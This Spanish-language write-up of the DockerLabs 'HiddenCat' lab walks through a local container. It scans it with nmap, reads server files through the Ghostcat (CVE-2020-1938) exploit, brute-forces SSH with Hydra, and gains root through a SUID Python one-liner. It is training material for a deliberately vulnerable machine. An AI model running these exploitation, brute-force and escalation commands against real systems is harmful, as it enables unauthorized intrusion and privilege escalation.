> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/hiddencat.md).

# HiddenCat

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **HiddenCat** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos `7z` para descomprimir los archivos:

```bash
7z x hiddencat.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FEwIs5TM7r4SCNZgvPr3S%2FPasted%20image%2020250717104057.png?alt=media&amp;token=35276e35-4347-455f-ade2-2585ac04c1ef" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script que carga la imagen y levanta el contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh hiddencat.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fu3zkNxsmZMgU5NE6lSVr%2FPasted%20image%2020250717104140.png?alt=media&amp;token=3f9ca3fb-83a9-47f6-bfd2-7c8ba12f7bf2" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la IP del contenedor para confirmar que responde:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FhL7FQJKFi1G0fr4I0aFI%2FPasted%20image%2020250717104241.png?alt=media&amp;token=1f86f478-e6ef-4964-a401-4aeb83ea2eea" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos detectados:**

* **Puerto 22:** `SSH`.
* **Puerto 8009:** `AJP13`.
* **Puerto 8080:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FUsXc7IYwoUZ9GMBkzoI3%2FPasted%20image%2020250717104337.png?alt=media&amp;token=4d2f4e3e-8ff8-4dd5-807a-8c82e79c7ee8" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,8009,8080 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* SSH corriendo OpenSSH **7.9p1**.
* AJP habilitado (protocolo JServ 1.3).
* Apache Tomcat versión **9.0.30**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Flx4Zk2CJ64s4N7AwvGGp%2FPasted%20image%2020250717104431.png?alt=media&amp;token=33c6ea9a-ca09-4676-bb45-da5fbdb9e492" alt=""><figcaption></figcaption></figure>

#### **2.4. Verificación de acceso web**

Accedemos al puerto 8080 vía navegador: `http://172.17.0.2:8080/`.

Se muestra la interfaz de Apache Tomcat con versión expuesta: **9.0.30**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FBFSRPNLDM1xXL3zTBDzL%2FPasted%20image%2020250717104721.png?alt=media&amp;token=ea88cc58-799f-492a-ac4f-a6944bd245d8" alt=""><figcaption></figcaption></figure>

#### **2.5. Exploración del puerto AJP (8009)**

No ofrece contenido web directo, pero al tratarse del protocolo AJP es susceptible a la vulnerabilidad **CVE-2020-1938**, conocida como **Ghostcat**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fx7S2nM7ojxlQkWMADgwi%2FPasted%20image%2020250717104610.png?alt=media&amp;token=f42dcc7e-cc03-425a-8100-c2f6e8d0c4d0" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Explotación de Ghostcat**

Utilizamos `git clone` para clonar el repositorio que contiene el script de explotación:

```bash
git clone https://github.com/dacade/CVE-2020-1938.git
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FeteQTwtHRYvpxOGXoSmw%2FPasted%20image%2020250717110213.png?alt=media&amp;token=cd3ca89f-5d4f-46f7-a221-87ad9e1a88d7" alt=""><figcaption></figcaption></figure>

Accedemos al directorio recién clonado:

```bash
cd CVE-2020-1938
```

Modificamos los permisos del archivo para que sea ejecutable:

```bash
chmod 700 tomcat.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fa0C0R44ZRdtnYAqc9Q09%2FPasted%20image%2020250717110709.png?alt=media&amp;token=1b9c9844-083c-4bcb-9172-048b03a21379" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit indicando la IP de la máquina vulnerable, el archivo objetivo (`web.xml`) y el puerto AJP:

```bash
python3 tomcat.py 172.17.0.2 -f /WEB-INF/web.xml -p 8009
```

Al ejecutar el script, accedemos a archivos internos del servidor y descubrimos información sensible, como el nombre de usuario `Jerry`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F0EQbkfCwJGNElUG7Pxlc%2FPasted%20image%2020250717110745.png?alt=media&amp;token=91087726-3036-461a-9c57-f0ccc52ab6e7" alt=""><figcaption></figcaption></figure>

#### **3.2. Fuerza bruta con Hydra**

Realizamos un ataque de fuerza bruta contra el servicio SSH utilizando el diccionario `rockyou.txt`:

```bash
hydra -l jerry -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

**Credenciales obtenidas:**

* **Usuario:** `jerry`.
* **Contraseña:** `chocolate`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FgUc7aCjvOyNkprupFHWB%2FPasted%20image%2020250717110836.png?alt=media&amp;token=7ac35660-aa56-4fe1-a737-a8427f35290e" alt=""><figcaption></figcaption></figure>

#### **3.3. Acceso vía SSH**

```bash
ssh jerry@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F8suOXikDyR4S8INMB7JN%2FPasted%20image%2020250717110936.png?alt=media&amp;token=9e918bbf-3b3a-49ee-bcb4-c6db4743895b" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Búsqueda de binarios SUID**

```bash
find / -perm -4000 2>/dev/null
```

**Encontramos el binario:** `/usr/bin/python3.7`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHAwal8LilE3wtjqnEAWG%2FPasted%20image%2020250717111153.png?alt=media&amp;token=3f0fde23-6e57-452c-b08e-4a6b34397125" alt=""><figcaption></figcaption></figure>

#### **4.2. Ejecutamos python con privilegios**

```bash
/usr/bin/python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

Obtenemos una shell como `root` gracias al privilegio SUID de Python.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FgeBnpiawiDqp64Kz92wt%2FPasted%20image%2020250717111242.png?alt=media&amp;token=f6a1f8d0-b232-45ba-a35c-061a68da9c9c" alt=""><figcaption></figcaption></figure>
